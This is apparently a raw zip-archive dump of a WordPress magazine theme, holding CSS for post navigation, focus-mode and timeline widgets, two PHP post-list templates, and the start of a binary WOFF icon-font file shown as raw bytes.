	border-top: 1px solid var(--pcborder-cl);
	box-shadow: 0 5px 5px 0 rgba(181, 181, 181, 0.5);
}
.penci-post-sticky-nav .container {
	max-width: calc(100% - 60px);
	width: 100%;
}
.wrapper-boxed.enable-boxed .penci-post-sticky-nav {
	width: calc(var(--pcctain) + 60px);
	left: auto;
	right: auto;
}
.penci-post-sticky-nav.active {
	opacity: 1;
	visibility: visible;
}
.penci-post-sticky-nav-wrap {
	display: grid;
	grid-template-columns: 352px minmax(0, 1fr) 352px;
	align-items: center;
	padding-top: 10px;
	padding-bottom: 10px;
}
.penci-post-sticky-nav-wrap .next-post,
.penci-post-sticky-nav-wrap .prev-post {
	position: relative;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	grid-column: 1/2;
	word-wrap: break-word;
	word-break: break-word;
}
.penci-post-sticky-nav-wrap .next-post {
	padding-right: 30px;
}
.penci-post-sticky-nav-wrap .prev-post {
	padding-left: 30px;
}
.penci-post-sticky-nav-wrap .next-post-wrap:before,
.penci-post-sticky-nav-wrap .prev-post-wrap:before {
	content: '\f105';
	font-family: 'FontAwesome';
	position: absolute;
	right: 0;
	font-size: 22px;
	height: 100%;
	display: flex;
	align-items: center;
	color: var(--pcaccent-cl);
}
.penci-post-sticky-nav-wrap .prev-post-wrap:before {
	right: auto;
	left: 0;
	content: '\f104';
}
.penci-post-sticky-nav-wrap .next-post {
	flex-direction: row-reverse;
	grid-column: 3/4;
	justify-content: space-between;
}
.penci-post-sticky-nav-wrap .current-post {
	align-self: center;
	display: flex;
	grid-column: 2/3;
	justify-content: center;
	align-items: center;
}
.penci-post-sticky-nav-wrap .penci-post-nav-thumb {
	border-radius: 4px;
}
.snav-pwrap {
	display: flex;
	align-items: center;
}
.snav-pwrap .pagi-text {
	margin: 0;
}
.penci-post-sticky-nav .next-post-wrap {
	flex-direction: row-reverse;
}
.penci-post-sticky-nav .pagi-text h5 {
	color: var(--pcheading-cl);
	margin-top: 0;
}
.penci-post-sticky-nav .pagi-text h5:hover {
	color: var(--pcaccent-cl);
}
.penci-post-sticky-nav-wrap .current-post h4 {
	font-size: 20px;
	text-align: center;
}
.penci-post-sticky-nav-wrap .prev-post-wrap:after,
.penci-post-sticky-nav-wrap .next-post-wrap:after {
	content: "";
	width: 100%;
	max-width: 0;
	height: 2px;
	background: var(--pcaccent-cl);
	left: 0;
	position: absolute;
	transform: translateY(1px);
	transition: 0.3s all ease-in-out;
}
.penci-post-sticky-nav .prev-post .prev-post-wrap:before {
	transition: 0.3s all ease-in-out;
}
.penci-post-sticky-nav .prev-post:hover .prev-post-wrap:before {
	left: -10px;
}
.penci-post-sticky-nav .prev-post:hover .prev-post-wrap:after {
	max-width: 20px;
	left: -8px;
}
.penci-post-sticky-nav-wrap .next-post-wrap:after {
	right: 0;
	left: auto;
}
.penci-post-sticky-nav .next-post .next-post-wrap:before {
	transition: 0.3s all ease-in-out;
}
.penci-post-sticky-nav .next-post:hover .next-post-wrap:before {
	right: -10px;
}
.penci-post-sticky-nav .next-post:hover .next-post-wrap:after {
	max-width: 20px;
	right: -8px;
}
@media only screen and (max-width: 1170px) {
	.penci-post-sticky-nav-wrap {
		grid-template-columns: 50px minmax(0, 1fr) 50px;
    	gap: 10px;
	}
	.penci-post-sticky-nav-wrap .pnavi-inner,
	.penci-post-sticky-nav-wrap .penci-image-holder {
		display: none;
	}
}
@media only screen and (max-width: 767px) {
	.penci-post-sticky-nav {
		display: none;
	}
}
.penci-focus-mode-button {
	position: fixed;
	bottom: 20px;
	left: auto;
	right: 20px;
	background: #000;
	color: #fff;
	padding: 0 18px;
	border-radius: 0;
	font-size: 14px;
	font-weight: bold;
	cursor: pointer;
	z-index: 9999;
	height: 40px;
  	line-height: 40px;
	transition: 0.3s all ease-in-out;
}
.penci-focus-mode-icon::before {
	content: '\f2da';
	font-family: 'FontAwesome';
	margin-right: 6px;
	display: inline-block;
	font-size: 125%;
	vertical-align: middle;
}
.penci-focus-mode-button.left {
	left: 20px;
	right: auto;
}
body.penci-gtt-enable .penci-focus-mode-button.right{
	right: 70px;
}
body.rtl.penci-gtt-enable .penci-focus-mode-button.left{
	left: 70px;
}
body.penci-focus-mode .penci-breadcrumb,
body.penci-focus-mode .post-related,
body.penci-focus-mode .post-author,
body.penci-focus-mode .single-post-share,
body.penci-focus-mode .pcfb-wrapper,
body.penci-focus-mode .penci-sticky-sidebar,
body.penci-focus-mode .penci-post-sticky-nav,
body.penci-focus-mode .penci-ilrelated-posts,
body.penci-focus-mode .penci-header-wrap {
	display: none;
}
body.penci-focus-mode .penci-main-sticky-sidebar {
	min-height: initial !important;
}
body.penci-focus-mode .theiaStickySidebar {
	position: static !important;
}
body.penci-focus-mode {
	--pcbg-cl: #fff;
	background: var(--pcbg-cl);
}
body.penci-focus-mode .penci-single-block {
	margin: 60px 0;
}
body.penci-body-boxed.penci-focus-mode {
	background: var(--pcbg-cl);
}
body.penci-focus-mode.single .post {
	margin-bottom: 0;
	margin-top: 60px;
}
body.penci-focus-mode .container.penci_sidebar #main,
body.penci-focus-mode .penci-single-style-10 .penci-single-s10-content {
	width: 100%;
	margin: 0 auto;
	float: none;
	padding: 0;
	max-width: 770px;
}
body.penci-focus-mode .penci-focus-mode-button {
	background: var(--pcaccent-cl);
	color: #fff;
}
body.penci-focus-mode .wrapper-boxed.enable-boxed {
	box-shadow: unset;
  	webkit-box-shadow: unset;
  	-moz-box-shadow: unset;
}
body.penci-focus-mode #main article.post {
	margin: 0 !important
}
.penci-vscroll {
	overflow: hidden;
}
.penci_push_notification {
	padding: 30px;
	border: 1px solid var(--pcborder-cl);
	text-align: center;
	box-shadow: 0 3px 8px 0 rgba(55,55,55,0.1);
	background: #fcfcfc;
}
.post-entry .penci_push_notification p,
.penci_push_notification p {
	text-align: center;
	font-weight: bolder;
	margin-bottom: 15px;
}
.penci_push_notification .button {
	background: var(--pcaccent-cl);
	color: #fff;
	display: inline-block;
	padding: 5px 15px;
	text-decoration: none;
}
.penci_push_notification .button:hover {
	text-decoration: none;
	opacity: 0.8;
}
.penci-tiline-grid {
	display: flex;
	flex-wrap: wrap;
	margin: 0;
	margin-left: 0px;
	padding: 0;
	list-style: none;
}
.penci-tiline-item {
	width: 100%;
}
.penci-tiline-align-center .penci-tiline-item {
	width: 50%;
}
.penci-tiline .penci-tiline-item-main-container {
	padding-left: 50px;
	padding-bottom: 50px;
}
.penci-tiline .penci-tiline-thumbnail {
	overflow: hidden;
	position: relative;
	z-index: 2;
}
.penci-tiline .penci-tiline-thumbnail img {
	width: 100%;
	object-fit: cover;
}
.penci-tiline .penci-tiline-item-main-wrapper {
	position: relative;
	padding-left: 50px;
}
.penci-tiline
	.penci-tiline-item-main-wrapper
	.penci-tiline-item-main-container {
	padding-left: 50px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	position: relative;
	background: #f1f1f1;
}
.penci-tiline.penci-tiline-posts .penci-tiline-item-main-wrapper .penci-tiline-item-main {
	background: #fff;
}
.penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin {
	border: 1px solid var(--pcborder-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a {
	color: var(--pcheading-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-title a:hover,
.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a:hover {
	color: var(--pcaccent-cl);
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn {
	background: #555;
	color: #fff;
	font-weight: 600;
}
.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover {
	background: #000;
}
.penci-tiline.penci-tiline-posts .grid-post-box-meta span:after {
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	width: 4px;
	height: 4px;
	border: 2px solid;
	border-radius: 2px;
	transform: translateY(-2px);
	-webkit-transform: translateY(-2px);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line {
	position: absolute;
	top: 0;
	height: 100%;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span {
	height: 100%;
	position: absolute;
	transform: translateX(-50%);
	transform-origin: center;
	display: block;
	border-width: 2px;
	border-left-style: dashed;
	border-color: var(--pcborder-cl);
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
	position: absolute;
	top: 20px;
	transform: translate(-50%, -50%);
	left: 51px;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span {
	position: absolute;
	text-align: center;
	border: 4px solid color-mix(in srgb, var(--pcaccent-cl) 40%, #fff);
	transform: translate(-50%, -50%);
	border-radius: 50%;
	height: 48px;
	width: 48px;
	background: var(--pcaccent-cl);
	display: flex;
	align-items: center;
	justify-content: center;
}
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span i,
.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span svg {
	color: #fff;
}
.penci-tiline .penci-tiline-meta {
	margin-bottom: 0;
}
.penci-tiline .penci-tiline-meta li {
	display: inline-block;
}
.penci-tiline .penci-tiline-title,
.penci-tiline .penci-tiline-excerpt,
.penci-tiline .penci-tiline-excerpt p {
	margin: 0;
	padding: 0;
}
.penci-tiline .penci-tiline-title {
	font-size: 18px;
}
.penci-tiline .penci-tiline-readmore {
	margin: 0;
}
.penci-tiline .penci-tiline-readmore svg {
	width: 1em;
	height: 1em;
	vertical-align: middle;
}
.penci-tiline .penci-tiline-arrow {
	position: absolute;
	width: 15px;
	height: 15px;
	transform: rotate(45deg);
	z-index: 0;
	top: 15px;
	left: -8px;
	background: #f1f1f1;
}
.penci-tiline
	.penci-tiline-item:nth-last-child(-n + 1)
	.penci-tiline-item-main-container {
	padding-bottom: 0;
}
.penci-tiline .penci-tiline-item:nth-last-child(-n + 1) .penci-tiline-line {
	display: none;
}
.penci-tiline-right .penci-tiline-item {
	margin-left: auto;
}
.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
	padding-left: 0;
}
.penci-tiline-right
	.penci-tiline-item.left-part
	.penci-tiline-item-main-container,
.penci-tiline-right
	.penci-tiline-item.right-part
	.penci-tiline-item-main-container {
	padding-right: 50px;
	padding-left: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-arrow,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-arrow {
	right: -8px;
	left: auto;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
	right: 0;
}
.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
	right: 0;
	left: auto;
}
.penci-tiline-right .penci-tiline-date {
	padding: 10px 50px;
}
.penci-tiline-icon svg {
	width: 1em;
	height: 1em;
}
.penci-tiline-desc {
	padding: 30px;
}
@media (max-width: 959px) {
	.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line {
		right: 55px;
	}
	.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,
	.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon {
		right: 55px;
		left: auto;
	}
}
@media (min-width: 960px) {
	.penci-tiline-center .penci-tiline-item .penci-tiline-item-main-wrapper {
		padding-left: 0;
	}
	.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 50px;
		padding-left: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-arrow {
		right: -8px;
		left: auto;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-line {
		right: 0;
	}
	.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-icon {
		right: 0;
		left: auto;
	}
	.penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 50px;
		padding-right: 0;
	}
	.penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: 0;
	}
	.penci-tiline-center .penci-tiline-date {
		padding: 5px 50px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-top: 0;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-child(-n + 2)
		.penci-tiline-icon {
		top: 22px;
	}
	.penci-tiline-center
		.penci-tiline-item:nth-last-child(-n + 2)
		.penci-tiline-item-main-container {
		padding-bottom: 0;
	}
	.penci-tiline-archive.penci-tiline-center .penci-tiline-date {
		margin-top: 5px;
	}
}
.penci-tiline figcaption {
	margin-bottom: 0;
}
@keyframes fadeIn {
	0% {
		opacity: 0;
		top: 70px;
	}
	100% {
		opacity: 1;
		top: 0;
	}
}
@keyframes liftUp {
	0% {
		top: 0;
	}
	100% {
		top: -15px;
	}
}
.post-entry .penci-tiline-meta,
.post-entry .penci-tiline-meta li {
	margin: 0;
	padding: 0;
}
.penci-tiline-meta,
.post-entry .penci-tiline-meta {
	list-style: none;
	font-size: 13px;
	padding: 10px 0;
}
.penci-tiline-meta li:not(:last-child),
.post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 20px;
}
.penci-tiline-readmore,
.post-entry .penci-tiline-readmore {
	padding: 5px 15px;
	display: inline-block;
	background: var(--pcaccent-cl);
	color: var(--pcbg-cl);
	transition: 0.3 all ease-in-out;
	margin-top: 20px;
}
.penci-tiline-readmore:hover {
	opacity: 0.8;
}
.penci-tiline-item-date-wrap.right {
	text-align: right;
}
.penci-tiline .penci-tiline-icon span {
	background: #fff;
}
.penci-tiline .penci-tiline-date span {
	background: #1c1b1b;
	color: #fff;
	padding: 10px 15px;
	display: inline;
	box-decoration-break: clone;
  	-webkit-box-decoration-break: clone;
}
.penci-tiline-item--top .penci-tiline-content:after {
	border-top-color: #f1f1f1;
}
.penci-tiline-item--bottom .penci-tiline-content:after {
	border-bottom-color: #f1f1f1;
}
.penci-tiline--mobile .penci-tiline-content:after {
	border-right-color: #f1f1f1;
}
@media only screen and (max-width: 960px) {
	.penci-tiline-align-center .penci-tiline-item {
		width: 100%;
	}
	.penci-tiline-align-center .penci-tiline-item-date-wrap {
		display: none;
	}
	.penci-tiline .penci-tiline-item-main-wrapper {
		padding: 0;
	}
	.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		left: 0;
	}
}
.penci-tiline {
	padding-top: 30px;
}
.penci-tiline-archive {
	padding-top: 60px;
	padding-bottom: 60px;
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line {
	top: -30px;
	height: calc(100% + 30px);
}
.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line:before {
	width: 10px;
	height: 10px;
	content: "";
	background: var(--pcborder-cl);
	top: -20px;
	position: absolute;
	transform: translateX(-50%);
	z-index: 9;
	border-radius: 50%;
}
.penci-tiline-meta a,
.post-entry .penci-tiline-meta a {
	color: var(--pcheading-cl);
	text-decoration: none;
}
.post-entry .penci-tiline-item a {
	text-decoration: none;
}
.penci-tiline .penci-biggrid-wrapper .pcbg-content-inner {
	background: #fff;
}
.penci-tiline .penci-biggrid-wrapper,
.penci-tiline .penci-bgstyle-1 .penci-dflex .penci-bgitem {
	margin-bottom: 0;
}
.penci-tiline-item .pcbg-readmorebtn svg {
	max-height: 15px;
	width: auto;
}
.penci-post-box-timeline {
	padding-bottom: 0;
	border-bottom: 0;
	text-align: center;
}
.penci-post-box-timeline .penci-post-share-box {
	float: none;
	vertical-align: middle;
}
.penci-post-reactions {
	padding-top: 30px;
	margin-top: 30px;
	border-top: 5px solid var(--pcborder-cl);
}
.penci-post-reactions ul,
.penci-post-reactions ul li {
	list-style: none;
	padding: 0;
	margin: 0;
}
.penci-post-reactions ul {
	display: flex;
	justify-content: center;
	gap: 30px;
}
.penci-post-reactions img {
	width: 50px;
	height: auto;
	transform: scale(0.8);
	transition: all 0.15s ease-in-out;
}
.penci-post-reactions li:hover img {
	transform: scale(1);
}
.penci-post-reactions li {
	display: flex;
	flex-direction: column;
	justify-content: center;
	align-items: center;
}
.penci-post-reactions .penci-reaction-count {
	font-weight: bold;
	font-size: 12px;
	color: var(--pcmeta-cl);
}
.penci-post-reactions {
  	text-align: center;
}
.post-entry .penci-post-reactions-title {
	margin: 0;
	padding: 0;
}
.post-entry .penci-post-reactions-desc {
	font-size: 14px;
}
@media only screen and (max-width:767px) {
	.penci-post-reactions ul {
		gap: 10px;
	}
	.penci-post-reactions img {
		width: 30px;
	}
}PK     N\
ղ!  !    content-magazine-1.phpnu [        <?php
/**
 * Template loop for list style
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="list-post magazine-layout magazine-1">
    <article id="post-<?php the_ID(); ?>" class="item hentry">

		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

								<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>
                                <div class="swiper-slide swiper-mark-item">

                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php
										if ( $the_caption ) :
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php do_action( 'penci_bookmark_post' ); ?>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ) : ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right
		<?php
		if ( ! has_post_thumbnail() ) :
			echo ' fullwidth';
		endif;
		?>
		">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php do_action( 'penci_grid_meta' ); ?>
						<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                            <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php
								if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else :
									?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                            <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                            <span class="otherl-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_grid_countviews' ) ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ) : ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

			<?php
			if ( get_theme_mod( 'penci_grid_add_readmore' ) ) :
				$class_button = '';
				if ( get_theme_mod( 'penci_grid_remove_arrow' ) ) :
					$class_button .= ' penci-btn-remove-arrow';
				endif;
				if ( get_theme_mod( 'penci_grid_readmore_button' ) ) :
					$class_button .= ' penci-btn-make-button';
				endif;
				if ( get_theme_mod( 'penci_grid_readmore_align' ) ) :
					$class_button .= ' penci-btn-align-' . get_theme_mod( 'penci_grid_readmore_align' );
				endif;
				?>
                <div class="penci-readmore-btn<?php echo $class_button; ?>">
                    <a class="penci-btn-readmore"
                       href="<?php the_permalink(); ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?><?php penci_fawesome_icon( 'fas fa-angle-double-right' ); ?></a>
                </div>
			<?php endif; ?>
        </div>

    </article>
</li>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post magazine-layout magazine-1 penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $j; ?>
PK     N\Y      content-classic-grid-2.phpnu [        <?php
/**
 * Template loop for 1st standard then grid 2
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'classic' );
	include( locate_template( 'content-classic.php' ) );
}
else {
	include( locate_template( 'content-grid-2.php' ) );
}

$jj++;
?>

PK     N\|x&lY lY   webfonts/fa-brands-400.woffnu [        wOFF    Yl    (J|                    FFTM  0      ȔPGDEF  L       *OS/2  l   O   `B8cmap    &  rgasp         glyf   ?h lohead DT   3   69.ehhea D   !   $6hmtx D  g  @cCloca G  j  j`|^maxp J       Oname J    post L    GVIxc```d ٪?PZ M6                       xc`a|8ч1Jedha``b`efFHsMah04 ՀZ1.R
 d xhenWsE
n1B?6VW궜JiU9LKgmd֭nt^<NE{9q
3҉wx|ĊmuAc1
r4&4z*^yji96m&A eg:KHs!<Ky"OIjK_㵜f-)Q>'d$KFUyS,i/d[zWE铫j5\ݬnQ%A5S=W]7FݤO:Ԥ!ጰ<;Lm1bSoJڤfi59brdTGMQsuFk'~VY"-+Ԑ`ޡj:Op
MSzkx9uGV wP,ez]VKZ6ɻ,-V+i+irrZ.X!m
 5XB ԫh
}/4>/_hYov[zНь?RSRթIqx?ĝf܊[p3qk|giNRp(X0p.E8,, L{P`
LI0;Jvcahpp#aI$''+Y/~/6oW2ʯ^zOm^7+R@sܫnt7n>VE8I?@wX]}/7      x	%Gu&}˻vnY[WuWU[RwW-nRkABh4BB !lF</,1<l3?s"Vw|Vݼ''BpzNeA@0p|WḱaB6-%FUB=Za}^P[4뙞~mvdȦlȴi-(,^9;{u~æ/c#`*\5p)Q.gttFg\?[)4%񠿌PTQxkI.ŉڻҧR8]JTx S7P?[?^o߬QꠃXp3N)TԮf*C;7H%۾vOQ9[|V|۳%շ[l9e\ZQM[x)%oނBAfkAR2L:dO0,a7ZQ71l(~\^I[a6ְa~(j<\Yw>i1V
]?يJ#E|QRUvjG".DDAPC0?"%,""|):\l<\`UdDU<d-a,g"3g7K@N$!L%{Q0A
RcY{98Hkl#Z3(PB;ԾX3/^fYxT\/R)DmQvpLJSYlB!;Dt}jF (|Oї 4|~^8!W%zo=҉'O>e>qO2wя _&ni{D?~oH 3ta%
{xZkUB-Ԭ)ʄDYTJJ|IJIFͣ$**x[$g󾍓ʊfꞩßZ36KLz >3(1yrD/X"H(*ҁD#Hf:#ob5ٙaer(fF9[-C2=E,ens8#{Ux6\g:D1VRF\(n;8.aAG@h$GOjjӊ\|}WBwG/Nz9}BsBo=˺}ծ\-.∈$MZyWUVj9QaL7>g;890T<?edJ~$!hm,UuiV4}R.ƲyKNdHpmu檥۵/qF6$Qujt_ȹZWJX|+0įcQ.=!)!9z7`z(]@Y$1V\z _H
9s;_hM,/#?hNr*8E'װrˇtAB^h*2-KU(	j =0>x_TEݡt'kaa!I~XGnbe3,luz	,-F,!h\),^zqktd'TB3kYYI,N5:yJm&RDebfYk7~	d$`btx+	Gat$R<:"a UBZk$%}
suy1ZtD%
03)lfvfɭ>SF&lbfh^]\{y[!4;k]slT}Ub:o(!t.6CdfL {Akɰ9HmU97۞_~+3zÐ{aO̊B NJg˨:CȑA,]o Aªi68?믤}@@Yc&/m}F:{vbzÃ -K^#@kqI4ߠX-ɠAPP%.7EnJӽ3g}>k+W9HTQyo -䩁U\'ojW7Ãiqsccs	!Y#>B@/Lw=US+5ڪi`QxA邌y_D%RD>K]ύe$A6KHJZI !iRndKSꡛm*ǧko#\5>$3[g~6\k`G<e℧HVwQ	&j"u@L]PW7÷ՕbEyz j$F,v!\xBpE;@`
Y&݂%yzI*D|< Go8ecbm+q7c$?r;v(zر_~$jȏ9Zg/l<
_+-$/:7~@]VG{.w<ҙ3G)Cܱ
ǄeSlA\*^S(:fb\-a6^nc㺍ӫb ؑ8j Im "r6&0nqV.됊(d9yk<_kyz.Tkml9yXJAȶd/?+{\Ihh_Oԟ5[Fq%觻F3ϔjOo}?N
6xnD?  -ƕs8`śH[/2m*P=+޺V>S^fW@NK\ہRE{y,0() e>NYUld]UգqU%+th7l^h>СNu^&wt(0}yN>}: qђ53bp{6Ee#PA4Lyx (wN«*Dk;qY-/@ ,ꋅB!K>VlD+l]*^aJw5Ib}b[_N/?!gk*g~ Mk²)}p8g7l ) tnRFÈ9	=F%M"q]]sԟ_7_w/T}>k*(2"fPΏm[OO|5Mwǂz6-Cg2u`[_fL".3vP
z/z-{_G*@ЏVojߥ6?G0ຎ(@
g戍ڽ Zr7J
W4j4΁UM8[S
h^*`n9ܬasRYP߈_:H/ސsgҀڛ9LrrHGOw}~&MyM_39
